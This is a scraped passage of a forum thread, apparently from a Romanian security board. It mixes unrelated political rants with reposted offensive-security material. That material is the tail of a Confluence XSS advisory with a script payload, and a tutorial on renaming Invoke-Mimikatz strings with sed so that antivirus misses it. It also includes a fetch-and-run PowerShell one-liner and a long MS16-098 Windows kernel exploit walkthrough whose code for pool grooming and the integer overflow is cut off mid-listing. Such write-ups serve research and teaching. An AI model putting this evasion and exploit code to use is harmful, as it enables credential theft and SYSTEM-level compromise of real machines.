confluence.browse.space.cookie=space-templates Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: {redacted} atl_token={atl_token}&pageId={pageId}&isFromPageView=false&newFileName=<script>a lert(1)</script>file&newComment=&newContentType=application%2Foctet-stream&newPa rentPage=&confirm=Save It is worth noting that the issue may affect users regardless of privilege levels, since the malicious page/attachment can be browsed by any user within the Atlassian Confluence instance. =====[3. Affected versions & Solutions ]======================================= This test was performed against Atlassian Confluence version 5.9.12. According to vendor's response, the vulnerability is addressed and the fix is part of the 5.10.6 release. =====[4. Timeline of disclosure ]============================================== Jul/07/2016 - Vendor acknowledged the vulnerability. Aug/04/2016 - Vendor released the fix for the vulnerability in version 5.10.6. =====[5. Thanks & Acknowledgements ]=========================================== - Tempest Security Intelligence / Tempest's Pentest Team [1] - Joaquim Brasil - Heyder Andrade - Breno Cunha =====[6. References ]========================================================== [1] https://en.wikipedia.org/wiki/Confluence_(software) Sursa: http://seclists.org/fulldisclosure/2017/Jan/3
  17. How to Bypass Anti-Virus to Run Mimikatz Carrie Roberts // Would you like to run Mimikatz without Anti-Virus (AV) detecting it? Recently I attempted running the PowerShell script “Invoke-Mimikatz” from PowerSploit on my machine but it was flagged by Windows Defender as malicious when saving the file to disk. Even when I ran this file without writing it to disk using the following command it still got caught. powershell "IEX (New-Object Net.WebClient).DownloadString ('https://github.com/PowerShellMafia/PowerSploit/raw/master/Exfiltration/ Invoke-Mimikatz.ps1');Invoke-Mimikatz" Windows Defender Detects Unmodified Mimikatz Script Uploading the Invoke-Mimikatz.ps1 file to VirusTotal showed that 19 of 54 AV vendors currently detect this file as malicious. AV Detection Rate for Unmodified Mimikatz Script As you may know, AV detection schemes can be weak, simply looking for specific words in the file. Often these words can be changed without changing the functionality. For example, changing “Invoke-Mimikatz” to “Invoke-Mimidogz” using the following Linux command brings the detection rate down to 8 of 54 sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 AV Detection Rate for “Katz” to “Dogz” And how about getting rid of those unnecessary comments in the script? sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 AV Detection Ratio After Removing Comments from Script We are down to four (4) AV vendors detecting the malicious file after renaming “Katz” to “Dogz” and removing comments. A little further experimentation shows that AV doesn’t like the word “DumpCreds”, let’s change it to “DumpCred”. sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 AV Detection After Renaming “DumpCreds” We are down to only two AV vendors detecting this file as malicious now. We could probably quit here and get a lot of mileage out of this script because who has even heard of those AV vendors anyway? But as my daughter would say after reading the disclaimer on hand sanitizer, “Why don’t they just put a little bit more in and kill ‘em all!?” So let’s do this. Just add three more match and replace rules and “Winner, winner, chicken dinner!” The complete list of match and replace commands is listed below. sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1 sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1 sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1 sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1 sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1 sed -i -e 's/CallDllMainSC1/ThisIsNotTheStringYouAreLookingFor/g' Invoke-Mimikatz.ps1 sed -i -e "s/\-Win32Functions \$Win32Functions$/\-Win32Functions \$Win32Functions #\-/g" Invoke-Mimikatz.ps1 No AV Detection After Match and Replace Rules We successfully modified the Mimikatz script to avoid AV detection without changing the functionality. Great evidence to why you should not rely solely on your AV for protection. Modified Mimikatz Script Still Functional For additional information on bypassing Anti-Virus, check out the “Sacred Cash Cow Tipping” webcast series. Sursa: http://www.blackhillsinfosec.com/?p=5555
      • 1
      • Upvote
  18. "Dle Dragnea, aflaram de la televizor ca sunteti singurul care cunoaste programul din scoarta in scoarta. Va rog eu frumos, invatati-i si pe ei. " Full text: http://www.hotnews.ro/stiri-esential-21511164-ora-19-00-noul-guvern-depune-juramantul-palatul-cotroceni.htm
  19. Iohannis le-a dat o mare muie si lui Dragnea si ministrilor (care nu cunosc programul de guvernare) live, la juramant. Epic! Forta!
  20. https://twitter.com/codelancer/status/816627501778620416
  21. 1. In calitate de pieton, intr-un oras mega-aglomerat si mega-poluat, sunt de acord cu cat mai multe taxe pentru soferi. In Bucuresti toata lumea se plange de trafic, insa toti sunt in masini. Se plang toti ca nu ajung autobuzele si ambulantele la timp, insa strazile sunt pline de rable de 1000 de euro, pentru ca romanul vrea sa aiba masina, nu ce sa puna pe masa. Lenea si confortul se platesc. 2. Taxa aceea exista pentru a avea o televiziune INDEPENDENTA. Adica nu Antena 3 a lui Voiculescu, care pupa in cur PSD sau Realitatea lui Ghita. O televiziune care in principiu nu ar trebui controlata politic. Si din moment ce in masina se asculta KissFM, Radio Zu sau Manele XXL FM, mi se pare normal sa se plateasca. 3. Lege ca aceea exista de ani de zile in afara si ofera avantaje pentru cetateni. Nu te obliga nimeni sa te folosesti de ea, dar daca ai nevoie, consider ca o vei gasi utila. Dar nu stii asta pana nu ai nevoie. Cat despre taxe si impozite si faptul ca Dragnea vrea sa le scoata, e ca sa multumeasca prostimea. Ce nu stie nici PSD-ul, e ca acele taxe aduc bani la buget care platesc intr-un final bugetarii si pensiile. Daca incepem cu mariri de pensii si salarii (care apropo, nu sunt pentru toata lumea) o sa apara o gramada de probleme: 1. Bugetul de la stat se duce acolo, nu tu autostrazi, nu tu investitii etc. si ne miram de ce Romania arata ca in anul 1800. 2. Daca creste salariul minim, si ei nu se gandesc, creste si numarul de disponibilizari. Patronii nu isi vor mai permite sa tina mai multi angajati si unii vor zbura (destui). 3. Daca creste salariul minim, se incurajeaza munca la negru. Adica fara carte de munca => batrani cu pensii mici care vor vota tot cu unii ca PSD ca sa primeasca si ei o muie la pensie, ca toata viata au muncit la negru, nu ca prostii ca noi care platim zeci de milioane taxe. Romanii nu s-au saturat sa ia muie de la tehnocrati, pentru ca nu au luat niciodata! Romanii isi asteapta muia calda de la PSD care se va rasfrange asupra noastra, a tinerilor.
  22. EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno de Adrian Bărbulescu , 04 ianuarie 2017 - stire actualizata la ora 08:41, 04 ianuarie 2017 EXCLUSIV. După chiul, shopping şi fumat în birou, Corina Crețu șochează iar. Comisarul european dă vina pe hackeri, abia după ce România liberă i-a semnalat că pe contul său de Twitter sunt filme porno Comisarul european pentru Politici Regionale, Corina Creţu, propulsată în această poziţie de Victor Ponta şi PSD, este pe cale să fie în centrul unui nou scandal monstru, când abia se risipiseră ecourile dezvăluirilor făcute în decembrie 2015 de jurnalistul Ryan Heath de la Politico Europe. UPDATE Corina Creţu: contul meu a fost spart Abia după ce România liberă i-a atras atenţia oficial asupra faptului că pe contul său de Twitter sunt postate filme porno, comisarul european Corina Creţu a reacţionat. „Contul meu a fost spart. Vă rog ignoraţi tweet-urile, RT-urile şi like-urile postate în ultimele 48 de ore. Lucrăm pentru a rezolva această problemă cât mai repede posibil. Scuze” (My account has been hacked. Pls disregard tweets, RTs &likes posted in the last 48 hrs. We are working on solving issue asap. Apologies), a scris Creţu chiar pe contul său de Twitter pe care-i sfătuia pe urmăritori să-l ignore. Apoi, a postat un mesaj similar şi în limba română: "Contul meu a fost spart & accesat ilegal. Ignorați mesajele & like-urile din ultimele 48 ore. Echipa mea lucrează la remedierea situației". Întrebarea se pune dacă trebuia să ignorăm şi aceste mesaje, aşa cum ne îndemna Corina Creţu. Dacă atunci scandalul era centrat pe chiul, shopping şi fumat în biroul de la Comisia Europeană, acum are accente pornografice de-a dreptul. Comisarul european a dat like, de pe contul său oficial de Twitter, unor postări XXX, pe care, din motive lesne de înţeles, nu le putem publica decât blurate. Chiar sistemul de operare Windows îi avertizează pe utilizatori, înainte de a deschide linkul, că “următorul conţinut media poate conţine material sensibil”. Nu numai că este sensibil acest conţinut, ci el este pornografic de-a dreptul. Twitter funcţionează similar cu Facebook, adică în momentul în care o persoană pe care o urmăreşti (i-ai dat “follow”) dă like unei postări, vei putea vedea atât postările proprii ale acesteia, cât şi cele cărora le-a dat like. Astfel, toţi cei 15.200 de urmăritori ai Corinei Creţu de pe reţeaua de socializare au putut viziona filmuleţele pornografice cărora le-a dat like comisarul european. Şi nu este vorba de un cont de Twitter oarecare, al unei persoane private, ci de unul oficial în calitate de comisar european, căruia reţeaua de socializare condusă de Jack Dorsey i-a alocat şi o bifă albastră, “privilegiu” acordat persoanelor publice cunoscute, care certifică autenticitatea contului. Mai trebuie menţionat faptul că la nivelul instituţiilor europene canalul oficial de comunicare este Twitter, şi nu Facebook. Articol complet: http://www.romanialibera.ro/actualitate/fapt-divers/exclusiv--comisarul-european-corina-cretu-da-like-uri-la-filme-porno--pe-contul-sau-oficial-de-twitter-437210
  23. Informativ: http://gov.ro/ro/stiri/guvernul-ciolo-bilant-la-final-de-mandat
  24. Exploiting MS16-098 RGNOBJ Integer Overflow on Windows 8.1 x64 bit by abusing GDI objects Reading time ~38 min Posted by saif on 03 January 2017 Categories: Exploit, Fun, Howto, Research Starting from the beginning with no experience whatsoever in kernel land let alone exploiting it, I was always intrigued and fascinated by reverse engineering and exploit development. The idea was simple: find a 1-day patch with an exploitable bug but with no proof of concept exploit currently available, in order to start my reverse engineering and exploit dev journey with.Now the bug discussed here was not my initial choice: I failed at that one. It is actually my second choice and it took almost 4 months to fully understand the exploit and everything related to it. I hope that this blog post is helpful to anyone aspiring to learn more about reverse engineering and exploit development. It is a lengthy post, I’m a new to the exploit-dev kernel stuff, so I implore you to be patient while reading this post. Tools Used: Expand.exe (used to expand the update MSU file) Virtual KD http://virtualkd.sysprogs.org/ (Their claim that they are x45 times faster than normal kernel debugging is absolutely true). Windbg (kd) (because why not). IDA professional. https://www.hex-rays.com/products/ida/ Zynamics BinDiff IDA plugin. https://www.zynamics.com/bindiff.html Using Expand.exe: Expand.exe is used to extract files from individual Microsoft update files (MSU) and the contained (CAB) files. Issuing the commands below, on a Windows system, the update and extracted CAB files will be extracted to the target directory: Expand.exe -F:* [PATH TO MSU] [PATH TO EXTRACT TO] Expand.exe -F:* [PATH TO EXTRACTED CAB] [PATH TO EXTRACT TO] Windbg (KD) Tips and Tricks: I personally prefer Windbg to other debuggers, as it contains very interesting commands, especially for kernel debugging, that absolutely helped with the exploitation process and deserve to be mentioned in this context. kd> dt [OBJECT SYMBOL NAME] [ADDR] The dt command dumps an object structure by using its symbol definition, which is very useful when analysing objects and trying to understand where everything fits specially if these objects symbols are exported. Using the command without the address will produce the structure of that object. For example, to dump the structure of the EPROCESS object we use the following command. By adding the address to the command, the data located at that address will be dumped based on the structure of the referenced object. The commands !pool, !poolfind and !poolused helped me a lot when analysing Kernel pool overflows, and performing kernel pool feng shui. Some initial useful examples are: To dump the kernel pool page layout that contains the supplied address, we can use the following: kd> !pool [ADDR] To retrieve the number of allocations of the object of the supplied pool tag located in the specified pool type: kd> !poolused [POOLTYPE] [POOLTAG] To search the full allocated kernel pool address space of the supplied pool type, for the specified pool tag. kd> !poolfind [POOLTAG] [POOLTYPE] Discussing the usage of IDA professional, VirtualKD, Zynamics BinDiff is beyond the scope of this post. Analysing the Patch and understanding the bug: After the update file was download and expanded, the modified file was win32k.sys version 6.3.9600.18405. When performing a diff with its older version, 6.3.9600.17393, using IDA professional Zynamics BinDiff plugin, an interesting function was found to have been changed with similarity rating 0.98. The vulnerable function was win32k!bFill. Below is the difference between the two versions. The diff quickly shows that an integer overflow was fixed, by adding the function UlongMult3, which is used to detect integer overflows by multiplying the supplied two ULONG integers. If the result overflows the object type, which is a ULONG, it returns an error “INTSAFE_E_ARITHMETIC_OVERFLOW”. This function was added right before the call PALLOCMEM2 that was called with one of the checked arguments [rsp+Size]. This confirms that this integer overflow would lead to an allocation of a small sized object; the question then being – can this value be somehow controlled by the user? When faced with a big problem, its recommended to break it down into smaller problems. As kernel exploitation is a big problem, taking it one step at a time seems the way to go. The exploitation steps are as follows: Reaching the vulnerable function. Controlling the allocation size. Kernel pool feng shui. Abusing the Bitmap GDI objects. Analysing and controlling the overflow. Fixing the overflowed header. Stealing SYSTEM Process Token from the EPROCESS structure. SYSTEM !! Step 1 – Reaching the Vulnerable Function: First we need to understand how this function can be reached by looking at the function definition in IDA. It can be seen that the function works on EPATHOBJ and the function name “bFill” would suggest that it has something to do with filling paths. A quick Google search for “msdn path fill” brought me to the function BeginPath and the using Paths example [5]. bFill@(struct EPATHOBJ *@, struct _RECTL *@, unsigned __int32@, void (__stdcall *)(struct _RECTL *, unsigned __int32, void *)@, void *) Theoretically speaking, if we take out the relevant code from the example, it should hit the function right?? // Get Device context of desktop hwnd hdc = GetDC(NULL); //begin the drawing path BeginPath(hdc); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); //End the path EndPath(hdc); //Fill Path FillPath(hdc); Well, that didn’t work so I started to dive into why by iterating backwards through the Xrefs to the vulnerable function and adding a break point in windbg, at the start of each of them. EngFastFill() -> bPaintPath() -> bEngFastFillEnum() -> Bfill() Running our sample code again, it was found that the first function that gets hit, and then doesn’t continue to out function was EngFastFill. Without diving deep into reversing this function and adding more time of boring details to the reader we can conclude, in short, that this function is a switch case that will eventually call bPaintPath, bBrushPath, or bBrushPathN_8x8, depending if a brush object is associated with the hdc. The code above didn’t even reach the switch case, it failed before then, on a check that was made to check the hdc type, thus it was worth investing in understanding Device Contexts types[6] Turns out there are four Device Context types: Printer. Display, which is the default one called with the above code Information. Memory, which supports drawing operations on a bitmap object. Looking at the information provided, it was worth trying to switch the device type to Memory(Bitmap) as follows: // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // draw a line between the supplied points. LineTo(hdc, nXStart + ((int) (flRadius * aflCos[i])), nYStart + ((int) (flRadius * aflSin[i]))); // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); Turns out, that was exactly what was needed to reach the vulnerable function bFill. Step 2 – Controlling the Allocation Size: Looking at the part where the allocation is made. Before the allocation is called, the function checks whether the value of [rbx+4] (rbx points to our first argument which is the EPATHOBJ), is larger than 14. If it was, then the same value is multiplied by 3 where the overflow happens lea ecx, [rax+rax*2]; The overflow happens actually for two reasons: one the value is being cast into the 32-bit register ecx and second [rax+rax*2] means that the value is multiplied by 3. Doing some calculations we can reach the conclusion that the value needed to overflow this function would be: 0xFFFFFFFF / 3 = 0x55555555 Any value greater than the value above, would overflow the 32-bit register. 0x55555556 * 3 = 0x100000002 Then the result of this multiplication is shifted left by a nibble 4-bits, usually a shift left by 4 operation, is considered to be translated to multiplication by 2^4 0x100000002 << 4 | 0x100000002 * 2^4) = 0x00000020 (32-bit register value) Still, there is no conclusion on how this value can be controlled, so I decided to read more posts about Windows GDI exploitation specially using PATH objects, to try and see if there was any mention to this. I stumbled upon this awesome blog post[1] by Nicolas Economou @NicoEconomou of CoreLabs, which was discussing the MS16-039 exploitation process. The bug discussed in this blog post had identical code to our current vulnerable function, as if someone copy pasted the code in these two functions. It is worth mentioning that it would have taken me much more time to figure out how to exploit this bug, without referencing this blog post, so for that I thank you @NicoEconomou. However, one would think that everything should be straight forward from here with a great guide on hand, but it wasn’t at all. Although the post really helped with the idea of exploitation and specifically what this mysterious value was, there were a couple of differences in exploitation, and for someone with no experience in Kernel exploitation or Kernel-land in general, I had to dive deep into each aspect of the exploitation process and understand how it works. – “Teach a man to fish, and he will eat for eternity”. Continuing, the value was the number of points in the PATH object, and can be controlled by calling PolylineTo function multiple times. The modified code that would trigger an allocation of 50 Bytes would be: //Create a Point array static POINT points[0x3fe01]; // Get Device context of desktop hwnd HDC hdc = GetDC(NULL); // Get a compatible Device Context to assign Bitmap to HDC hMemDC = CreateCompatibleDC(hdc); // Create Bitmap Object HGDIOBJ bitmap = CreateBitmap(0x5a, 0x1f, 1, 32, NULL); // Select the Bitmap into the Compatible DC HGDIOBJ bitobj = (HGDIOBJ)SelectObject(hMemDC, bitmap); //Begin path BeginPath(hMemDC); // Calling PolylineTo 0x156 times with PolylineTo points of size 0x3fe01. for (int j = 0; j < 0x156; j++) { PolylineTo(hMemDC, points, 0x3FE01); } } // End the path EndPath(hMemDC); // Fill the path FillPath(hMemDC); By calling PolylineTo with number of Points 0x3FE01 for 0x156 times would yield. 0x156 * 0x3FE01 = 0x5555556 Notice that the number is smaller than the number produced by the previous calculations, the reason is that in practice, when the bit is shifted left by 4 the lowest nibble will be shifted out of the 32-bit register, and what will be left is the small number. The other thing worth mentioning is that the application will add an extra point to our list of points, so the number that is passed to the overflowing instruction will be in reality 0x5555557. Let’s do the maths and see how it will work. 0x5555557 * 0x3 = 0x10000005 0x10000005 << 4 = 0x00000050 By that point, the size of the allocation will be 50 bytes and the application will try to copy 0x5555557 points to that small memory, which will quickly give us a BSOD, and with that successfully triggering the bug! Step 3 – Kernel Pool Feng Shui: Now starts the hard part: Kernel Pool Feng Shui Kernel Pool Feng Shui is a technique used to force the memory layout to be in a deterministic state, prior to the vulnerable object being allocated, by using a set of allocations/de-allocations calls. The idea is to force the allocation of our vulnerable object to be adjacent to an object under our control, overflowing the adjacent object and use the overflown object to change the memory corruption primitive and gain read/write over kernel memory. The object of choice would be Bitmap, with pool tag Gh05, which is allocated to the same Page Session Pool and can be controlled using SetBitmapBits/GetBitmapBits to write/read to arbitrary locations. This technique was discussed by Diego Juarez of CoreLabs on his post[2], and KeenTeam in their talk[10] as well. The crash happens because at the end of the bFill function, the allocated object is freed, when an object is freed, the kernel validates the adjacent memory chunks pool header; if it was corrupted, it will exit with error BAD_POOL_HEADER. Since we overflowed the adjacent page(s), this check will fail and a BSOD will happen. The trick to mitigate crashing on this check, is to force the allocation of our object at the end of memory page. This way, there will not be a next chunk and the call to free() will pass normally. This was mentioned in Nicolas’s blog post[1], and in only one sentence in the “A Guide to Kernel Exploitation: Attacking the Core” book[9]. There are a couple of things to keep in mind to achieve this Feng Shui: The Kernel pool page is of size 0x1000 bytes, any larger allocations will be allocated to the Large kernel Pool. Any allocation of size bigger than 0x808 will be allocated to the beginning of the memory page. Subsequent allocations will be allocated from the end of the page. The allocations need to be of the same Pool type, which in our case was Paged Session Pool. Allocating objects will usually add a pool header of size 0x10. If the allocated object is 0x50, the allocator will actually allocate 0x60 including the pool header. Armed with the above, it was time to develop the kernel pool Feng Shui and see how this will work, having a look at the exploit code: void fungshuei() { HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); // 1670 = 0xf80 1685 = 0xf90 allocation size 0xfa0 bitmaps[k] = bmp; } HACCEL hAccel, hAccel2; LPACCEL lpAccel; // Initial setup for pool fengshui. lpAccel = (LPACCEL)malloc(sizeof(ACCEL)); SecureZeroMemory(lpAccel, sizeof(ACCEL)); // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } } The flow of allocations/de-allocations can be clearly seen, however a GIF is worth a thousand words. Walking through the allocation/de-allocations functions, to show what actually happens, the first step of the kernel Feng Shui was: HBITMAP bmp; // Allocating 5000 Bitmaps of size 0xf80 leaving 0x80 space at end of page. for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(1670, 2, 1, 8, NULL); bitmaps[k] = bmp; } Start by 5000 allocations of Bitmap objects with size 0xf80. This will eventually start allocating new memory pages and each page will start with a Bitmap object of size 0xf80, leaving 0x80 bytes space at the end of the page. To check if the spray worked we can break on the call to PALLOCMEM from within bFill and use !poolused 0x8 Gh?5 to see how many bitmap objects were allocated. The other thing, is how to calculate the sizes which when supplied to the CreateBitmap() function translate into the Bitmap objects allocated by the kernel. The closest calculations I could find were mentioned by Feng yuan in his book[11]. It was a close calculation but doesn’t add up to the allocation sizes observed. By using the best way a hacker can know, trial and error, change the size of the bitmap and see the allocated size object that was allocated using !poolfind command. // Allocating 7000 accelerator tables of size 0x40 0x40 *2 = 0x80 filling in the space at end of page. HACCEL *pAccels = (HACCEL *)malloc(sizeof(HACCEL) * 7000); HACCEL *pAccels2 = (HACCEL *)malloc(sizeof(HACCEL) * 7000); for (INT i = 0; i < 7000; i++) { hAccel = CreateAcceleratorTableA(lpAccel, 1); hAccel2 = CreateAcceleratorTableW(lpAccel, 1); pAccels[i] = hAccel; pAccels2[i] = hAccel2; } Then, 7000 allocations of accelerator table objects (Usac). Each Usac is of size 0x40, so allocating two of them will allocate 0x80 bytes of memory. This, will fill the left 0x80 bytes from the previous allocation rounds and completely fill our pages (0xf80 + 80 = 0x1000). // Delete the allocated bitmaps to free space at beginning of pages for (int k = 0; k < 5000; k++) { DeleteObject(bitmaps[k]); } Next de-allocation of the previously allocated object will leave our memory page layout with 0xf80 free bytes at the beginning of the page. //allocate Gh04 5000 region objects of size 0xbc0 which will reuse the free-ed bitmaps memory. for (int k = 0; k < 5000; k++) { CreateEllipticRgn(0x79, 0x79, 1, 1); //size = 0xbc0 } Allocating 5000 bytes of region objects (Gh04) of size 0xbc0. This size is essential, since if the bitmap was placed directly adjacent to our vulnerable object, overflowing it will not overwrite the interesting members (Discussed in later sections) of the Bitmap object, which are needed to use GetBitmapBits/SetBitmapBits to read/write to kernel memory. This was also pointed out by Nicolas in his post[1], however the offsets were a bit different than what was needed in this case. Also, how the calculated the size of the allocated object in relation to the arguments supplied to CreateEllipticRgn function, was found through trial and error. At this point of the feng shui, the kernel page has 0xbc0 Gh04 object in the beginning of the page, and 0x80 at the end of the page, with free space of 0x3c0 bytes. // Allocate Gh05 5000 bitmaps which would be adjacent to the Gh04 objects previously allocated for (int k = 0; k < 5000; k++) { bmp = CreateBitmap(0x52, 1, 1, 32, NULL); //size = 3c0 bitmaps[k] = bmp; } The allocation of 5000 bitmap objects of size 0x3c0 to fill this freed memory, the bitmap objects becoming the target of our controlled overflow. // Allocate 1700 clipboard objects of size 0x60 to fill any free memory locations of size 0x60 for (int k = 0; k < 1700; k++) { //1500 AllocateClipBoard2(0x30); } Next part is the allocation of 1700 Clipboard objects (Uscb) of size 0x60, just to fill any memory locations that have size 0x60 prior to allocating our vulnerable object; so when the object gets allocated, it almost certainly will fall into our memory layout. Nicolas used this object to do the kernel spray with, I didn’t manage to simulate the free or the syscall to do that, however what was discovered was some quirky behaviour, basically to copy stuff into the clipboard programmatically with the following code: void AllocateClipBoard(unsigned int size) { BYTE *buffer; buffer = malloc(size); memset(buffer, 0x41, size); buffer[size-1] = 0x00; const size_t len = size; HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, len); memcpy(GlobalLock(hMem), buffer, len); GlobalUnlock(hMem); OpenClipboard(wnd); EmptyClipboard(); SetClipboardData(CF_TEXT, hMem); CloseClipboard(); GlobalFree(hMem); } What was discovered is that, if you omit the OpenCliboard, CloseClipBboard, EmptyClipboard and just call SetClipboardData directly, the object will be allocated and never freed. I guess you could get Memory exhaustion after many calls but that wasn’t tested, furthermore, in my experiments as mentioned the object isn’t freed at all even if the clipboard is opened and emptied using EmptyCliBoard; or by using what Nicolas mentioned by consecutive calls to SetBitmapData, and EmptyClipboad. // delete 2000 of the allocated accelerator tables to make holes at the end of the page in our spray. for (int k = 2000; k < 4000; k++) { DestroyAcceleratorTable(pAccels[k]); DestroyAcceleratorTable(pAccels2[k]); } The last step of our kernel pool feng shui, was to create holes in the allocated accelerator table objects (Usac), exactly 2000 holes. The kernel feng shui function is also called right before the bug is triggered, if all went well our vulnerable object will be allocated into one of these holes right where its intended to be at the end of the memory page. Step 4 – Abusing the Bitmap GDI objects: This technique is heavily discussed in both CoreLabs posts [1],[2], and in their latest presentation at ekoparty 2016[11]. I highly recommend reading these, before continuing, as it won’t be explained in such depth in this post. The structure of the bitmap object starts with a SURFOBJ64 followed by the bitmap data, three members of this object interests us, sizlBitmap, pvScan0, hdev. The sizlBitmap is the width and height of the bitmap, the pvScan0 is a pointer to the beginning of the bitmap data, and hdev is a pointer to the device handle. typedef struct { ULONG64 dhsurf; // 0x00 ULONG64 hsurf; // 0x08 ULONG64 dhpdev; // 0x10 ULONG64 hdev; // 0x18 SIZEL sizlBitmap; // 0x20 ULONG64 cjBits; // 0x28 ULONG64 pvBits; // 0x30 ULONG64 pvScan0; // 0x38 ULONG32 lDelta; // 0x40 ULONG32 iUniq; // 0x44 ULONG32 iBitmapFormat; // 0x48 USHORT iType; // 0x4C USHORT fjBitmap; // 0x4E } SURFOBJ64; // sizeof = 0x50 The way bitmap objects can be abused, is by overwriting the sizlBitmap, or the pvScan0 with controlled values. The way SetBitmapBits/GetBitmapBits validate the amount of data to be written/read from is by validating the size of the data available for the bitmap, through these two object members. GetBitmapBits, for example, will calculate the width x height x 4 (32 bits per pixel in bytes, which is supplied as an argument to CreateBitmap) of the bitmap to validate the amount of data it can read from the address pointed to by pvScan0. If the sizlBitmap member was overwritten with a larger width and height, it will expand the amount of data the bitmap can read/write to by that larger value. In this exploit, for example, it was width 0xFFFFFFFF x height 1 x 4 (32 bitsprepel). If the overflow data can be controlled, then we can directly set the pvScan0 member with an address that we are interested to read/write to. The way to abuse controlled data overwrite as discussed in the blog post[2] is to use two bitmap objects: Set the first bitmap pvScan0 to the address of the pvScan0 of the second bitmap. Use the first bitmap as a manager, to set the pvScan0 pointer of the second bitmap to point to the address that we want to read/write to. The second bitmap object will act as a worker, which will actually read/write to this address. In this exploits case, the data used to overflow the heap is not fully controlled, since the data being copied is points or more specific edge objects of size 0x30 bytes each. Luckily, as will be shown in the next section, some of the data being overwritten can be indirectly controlled, and will be used to overwrite the sizlBitmap member with the values 0x1 and 0xFFFFFFFF, which would expand the amount of data that can be read/write by the bitmap object. The flow of how this will be used is as follows. Trigger the overflow and overwrite the sizlBitmap member of an adjacent bitmap object. Use the expanded bitmap as a manager to overwrite the pvScan0 member of a second bitmap. Utilize the second bitmap as the worker and use it, to read/write to address set by the first bitmap. The importance of the hdev member, will be discussed in details in the next section, the main point is that it’s either set to 0 or a pointer to a valid device object. Step 5 – Analysing and Controlling the Overflow: Now it’s time to analyse how the overflow can be controlled. In Nicolas’s post[1], he mentioned that in his case, the points are copied only if they are not identical, which allowed him to control the overflow, however this was not the case for me. To better understand this, we need to have a look at the addEdgeToGet function, which copies the points to the newly allocated memory. In the beginning, the addEdgeToGet assigns the r11 and r10 register to the values of the current point.y [r9+4] and the previous point.y [r8+4]. Later, a check is performed, which checks whether the previous point.y is less than [r9+0c], which in this case was 0x1f0, if so the current point will be copied to our buffer, if not the current point to be skipped. It was noticed also the point.y value was shifted left by a nibble, i.e. if the previous point.y = 0x20, the value will be 0x200. Now that we have the primitives of how we can control the overflow, we need to find out how the values 0x1 and 0xFFFFFFFF will be copied across. In the first check, the function will subtract the previous point.y at r10 from the current point.y at ebp. If the results were unsigned, it will copy the value 0xFFFFFFFF to offset 0x28 of our buffer pointed to by rdx. The assumption here, is that this function checks the direction of which the current point.y is to the previous point.y. In the second check, the same is done for point.x, the previous point.x at r8 is subtracted from the current point.x at ebx and if the results are unsigned, the function will copy 0x1 to offset 0x24 of our buffer pointed to by r15. This makes sense since it corresponds with the previous check copying to offset 0x28, as well as the fact that we want to only overflow the sizlBitmap structure. With point structures that are of size 0x30 bytes, also it copied the value 1 to the hdev member of the object pointed to by [r15+0x24]. Calculating the number of points to overflow the buffer to reach the sizLBitmap member, was easy and the way it was enforced by the exploit was simply changing the value of the previous point.y to a larger value that would fail the main check discussed previously, and thus the points will not be copied, looking at the code snippet from the exploit. static POINT points[0x3fe01]; for (int l = 0; l < 0x3FE00; l++) { points[l].x = 0x5a1f; points[l].y = 0x5a1f; } points[2].y = 20; //0x14 < 0x1f points[0x3FE00].x = 0x4a1f; points[0x3FE00].y = 0x6a1f; This is how the initial points array was initialized notice the value of points[2].y is set to 20 that is 0x14 in hex, which is less than 0x1f, and will thus copy the subsequent point to our allocated buffer. for (int j = 0; j < 0x156; j++) { if (j > 0x1F && points[2].y != 0x5a1f) { points[2].y = 0x5a1f; } if (!PolylineTo(hMemDC, points, 